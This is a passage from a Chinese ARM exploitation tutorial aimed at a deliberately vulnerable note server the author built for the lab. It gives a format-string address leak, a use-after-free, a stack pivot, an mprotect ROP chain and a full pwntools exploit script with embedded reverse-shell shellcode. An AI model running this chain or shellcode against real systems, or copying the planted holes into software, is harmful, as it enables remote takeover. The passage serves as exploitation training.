                        tmp = tmp + 1;
                        i += 1;
                    }
                    break;

                case 9:
                    stack_info();
                    cout << "Debug informations" << endl;
                    cout << "Address of wel_msg" << "---" << &wel_msg << endl;
                    cout << "Address of roulette" << "---" << &roulette << endl;
                    cout << "Well done!" << endl;
                    break;

                default:
                    cout << "Please select a correct option! " << endl;
                    break;
            }
        }
    }
    close(client_sockfd);
    return 0;
}

int main(){
    pid_t pid;
    int var = 1;
    struct sockaddr_in sockaddr;

    sockaddr.sin_family = AF_INET;
    sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    sockaddr.sin_port = htons(PORT);

    while(1){
        pid = fork();
        if ( pid == 0 ){
            cout << "Run pid=" << getpid() << endl;
            if ((fd_sock = socket(PF_INET, SOCK_STREAM, 0)) < 0){
                std::cerr << strerror(errno) << std::endl;
                exit(1);
            }

            if(setsockopt(fd_sock, SOL_SOCKET, SO_REUSEADDR, &var, sizeof(int)) <0) {
                std::cerr << strerror(errno) << std::endl;
                exit(1);
            }

            if (bind(fd_sock, (struct sockaddr*) &sockaddr, sizeof(sockaddr)) <0 ){
                std::cerr << strerror(errno) << std::endl;
                exit(1);
            }

            if (listen(fd_sock, MAX_NUM) < 0){
                std::cerr << strerror(errno) << std::endl;
                exit(1);
            }
            note();
        }
        else{
            wait(NULL);
            close(fd_sock);
        }
    }   
    return 0;
}

编译

root@raspberrypi:/home/pi/arm/episode3# g++ -o uaf uaf.c -g

该程序监听4444端口,我们可以插入插入note,并切可以显示、编辑、删除这些note,还可以设置地址、改变欢迎消息,还可以打印一些调试信息。

简单观察一下程序有哪些看起来比较特殊的函数:

  1. 虚函数 show_all_notes()
  2. stack_pivot() 函数
  3. stack_info() 函数
  4. delete() and set_address() 函数

Observation 1 – 虚函数 show_all_notes()

查看一下 edit_obj 对象

可以看到前4个字节是一个虚表指针,并且虚表中第一个地址指向虚函数“show_all_notes”的代码

Observation 2 – stack_pivot() function

如果我们能控制“r4 + #0x0c”,那么通过stack_pivot()函数我们可以设置栈为我们能控制到的地址

Observation 3 – stack_info() function

在stack_info()函数中存在一个字符串格式化漏洞

Observation 4 – delete and set_address() function

在 case 4中edit_obj被删除, 如果使用此对象, 我们将有 UAF 漏洞。set_address 函数的目的是尝试在堆中分配一个大小等于已删除对象大小的对象。

接下来的步骤:

  1. 通过 case 9 获得 libc库 和 wel_msg、roulette变量的地址
  2. 释放内存并随后分配刚释放内存
  3. 使用wel_msg数组的空间作为新的栈空间并存放shellcode

看一下细节

1- 通过 case 9 获得 libc库 和 wel_msg、roulette变量的地址

让我们分析一下 stack_info 函数

我们将只使用格式字符串漏洞来从堆栈中任意读取

0x%08x,0x%08x,0x%08x,0x%08x

我们得到以下输出

0x00000000,0x76fb2f0c,0x0002a3f4,0xffffffff

让我们看看地址0x76fb2f0c

我们可以用偏移量计算 libc 的基址, 在我们的例子中, libc 基址是0x76c85000

偏移是

offset = 0x76fb2f0c-0x76c85000 = 0x32df0c

wel_msg、roulette变量的地址也打印出来。

2- 释放内存并随后分配刚释放内存

让我们看看删除edit_obj对象后

case 4:
    edit_obj->delete_note();
    cout << "Try to set the roulette number: " << endl; cin >> roulette;
    delete edit_obj;

我们将尝试使用此字符串 “1111” 设置roulette变量, 然后在删除指令之前, 这是edit_obj的内容

gef> x/8x edit_obj
0x29318:    0x000126c8    0x00000001    0x0002a37c    0x0002a394
0x29328:    0x76fb76ec    0x76fb76ec    0x76fb76ec    0x76fb76ec

删除指令后

gef> x/8x edit_obj
0x29318:    0x00000000    0x00000001    0x0002a37c    0x0002a394
0x29328:    0x76fb76ec    0x76fb76ec    0x76fb76ec    0x76fb76ec

vtable地址将变为零。

roulette变量的地址是:

gef> p &roulette
$1 = (int *) 0x23298 <roulette>

现在, 我们可以使用case 5来分配新的内存区域, 并在set_address函数中, 尝试插入roulette变量的地址 (我们从泄漏中得到)。

5

Enter the number

144024

并查看edit_obj的地址

gef> x/x 0x29318
0x29318:    0x00023298
gef> x/x 0x00023298
0x23298 <_ZL8roulette>:    0x00000457
gef> p/d 0x00000457
$3 = 1111

然后, 我们可以使用roulette变量设置第一个 ROP 的地址, 类似于下面的图像

3- 使用wel_msg数组的空间作为新的栈空间并存放shellcode

这一次, 我使用一个简单的 ROP 链, 使我们的一部分内存 (wel_msg) 有可执行属性,随后跳转到shellcode。

我在stack_pivot ()函数中提供了第一个 ROP

void stack_pivot(){

    asm volatile(

        "ldr sp,[r4, #0x0c] \n\t"

        "ldr sp, [sp] \n\t"

        "pop {lr, pc} \n\t"

    );

}

我们将使用mprotect函数, 但在需要找到一个gadget来填充参数

r0 = shellcode page aligned address

r1 = size(ofshellcode)

r2 = protection (0x7 - RWX)

pc = mprotect address

我们可以通过以下方式运行 ROPgadget:

$ ROPgadget --binary libc-2.24.so --thumb | grep "pop {r0, r1, r2"

可以用下面给出的gadget

0x000e6b08 : 

    pop {r0, r1, r2, r3, r4, pc}

    r0 = shellcode page aligned address

    r1 = size(ofshellcode)

    r2 = protection (0x7 – RWX)

    r3 = 0x00

    r4 = 0x00

pc = mprotect address

我们可以把所有的东西放在一起做一个小测试, 然后启动服务器

gdb ./uaf

发送payload之后键入9

0x%08x.0x%08x.0x%08x

然后插入下列3条 notes (case 1)

“AAAA”
wel_msg address
“BBBB”

如前所述, 我们将使用 “wel_msg” 数组来作为新堆栈来保存shellcode (我们将使用反向 shell ), 然后为了编辑这个数组, 我们必须使用 “change the message” case。

我们必须发送

LR= &wel_msg + 36

gadget1 = pop_r0_r1_r2_r3_r4_pc

r0 = (&wel_msg / PAGE_SIZE ) * PAGE_SIZE

r1 = 0x100

r2 = 0x7

r3 = 0x00

r4 = 0x00

r5 = mprotect addres

然后验证它

gef> x/20x wel_msg
0x7efff408:    0x7efff42c    0x76d6bb09    0x7efff000    0x00000100
0x7efff418:    0x00000007    0x00000000    0x00000000    0x76d52840
0x7efff428:    0x5a5a5a5a    0xe3a00002    0xe3a01001    0xe3a02000
0x7efff438:    0xe59f7080    0xef000000    0xe1a06000    0xe3a0105c
0x7efff448:    0xe3a05011    0xe1a01c01    0xe0811805    0xe2811002

我们可以使用case 4释放edit_obj, 并将stack_pivot ()函数的地址设置为roulette值。

现在我们应该分配一个新的对象, 我们在case 5 (set_address函数)中发送roulette地址

最后用case 2触发该漏洞 (显示所有注释)

如果我们在blx r3指令上继续, r3的值等于edit_obj的地址。

我们可以注意到, 寄存器r3等于stack_pivot函数的地址

如果我们继续下去, 我们在远程系统里获得了一个shell。

一个简单的脚本, 以使它自动化。文件uaf_exploit.py

#!/usr/bin/env python2
from pwn import *
import pwnlib.asm as asm
import pwnlib.elf as elf

ip = "192.168.0.13"
port = 4444

PAGE_SIZE = 0x1000

def find_arm_gadget(e, gadget):
    gadget_bytes = asm.asm(gadget, arch='arm')
    gadget_address = None
    for address in e.search(gadget_bytes):
        if address % 4 == 0:
            gadget_address = address
            if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
                log.info(asm.disasm(gadget_bytes, vma=gadget_address, arch='arm'))
                break
    return gadget_address

def find_thumb_gadget(e, gadget):
    gadget_bytes = asm.asm(gadget, arch='thumb')
    gadget_address = None
    for address in e.search(gadget_bytes):
        if address % 2 == 0:
            gadget_address = address + 1
            if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
                log.info(asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb'))
                break
    return gadget_address

def find_gadget(e, gadget):
    gadget_address = find_thumb_gadget(e, gadget)
    if gadget_address is not None:
        return gadget_address
    return find_arm_gadget(e, gadget)

#libc file
libc = ELF('libc-2.24.so')

s = remote(ip, port)

log.info('-----------------------------------------------')

#####LEAK
offset = 0x32df0c
s.sendline('9')
leak_value = s.recvuntil("area")
#arbitrary read
s.sendline('0x%08x.0x%08x.0x%08x')
leak_values = s.recvuntil("done!")
wel_msg = int(leak_values[76:84], 16)
roulette_add = int(leak_values[109:114], 16)
stack_address = int(leak_values[13:23], 16)

log.info("The wel_msg address is: 0x%x", wel_msg)
log.info("The roulette address is: 0x%x", roulette_add)
log.info("The leak_address: 0x%x", stack_address)

#libc base address
libc_base = stack_address - offset
log.info("Libc base address: 0x%x", libc_base)

#mprotect address
mprotect_address = libc_base + libc.symbols['mprotect']
log.info('mprotect address 0x%x' % mprotect_address)

#gadget address
libc.address = libc_base
pop_r0_r1_r2_r3_r4_pc = find_gadget(libc, 'pop {r0, r1, r2, r3, r4, pc}')

#insert note "AAAA"
s.sendline('1')
s.sendline('A'*4)
#insert address of wel_msg as note 
s.sendline('1')
s.sendline(p32(wel_msg))
#insert note "BBBB"
s.sendline('1')
s.sendline('B'*4)

#reverse shell shellcode + "\x33"
shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0e\x1b\x01\x00\x00\x33"

#len of the new stack
stack_len = 40
stack = ""
#set LR
stack += p32(wel_msg + 36) #LR = address of the shellcode
#gadget 2 - 76d6bb08: pop {r0, r1, r2, r3, r4, pc}
stack += p32(pop_r0_r1_r2_r3_r4_pc)  # thumb address
#r0 = (wel_msg / PAGE_SIZE ) * PAGE_SIZE
stack += p32((wel_msg / PAGE_SIZE) * PAGE_SIZE)
#r1 = 0x100
stack += p32(0x100)
#r2 = 0x7
stack += p32(0x07) #RWX
#r3 = 0x00
stack += p32(0x00)
#r4 = 0x00
stack += p32(0x00)
#r5 = mprotect addres
stack += p32(mprotect_address)
stack += "ZZZZ"
#change the wel_msg value
s.sendline('0')
s.sendline(stack + shellcode)
ret = s.recvuntil("message")
sleep(1)

#objdump -d uaf | grep stack_pivot
#000111cc &amp;amp;lt;_Z11stack_pivotv&amp;amp;gt;:
roulette_value = 0x111cc  # address of the stack_pivot function
#delete edit_obj
s.sendline('4')
s.sendline(str(roulette_value))
ret = s.recvuntil("message")
sleep(1)

#allocare the hole - set_address()
s.sendline('5')
s.sendline(str(roulette_add))
ret = s.recvuntil("message")
sleep(1)

#take control - show all note
s.sendline('2')
ret = s.recvuntil("message")
sleep(1)

s.close()

测试它

启动远程服务器

启动服务器 uaf 应用程序

运行利用脚本

教程结束了, 我的目的是给一个关于ARM世界的小介绍(免费), 我希望我已经实现了我的目标, 我希望你喜欢这些情节。

您可以在我的 github 上找到代码: https://github.com/invictus1306/ARM-episodes

© 2017 物联网安全技术研究 All Rights Reserved. 本站访客数人次 本站总访问量
Theme by hiero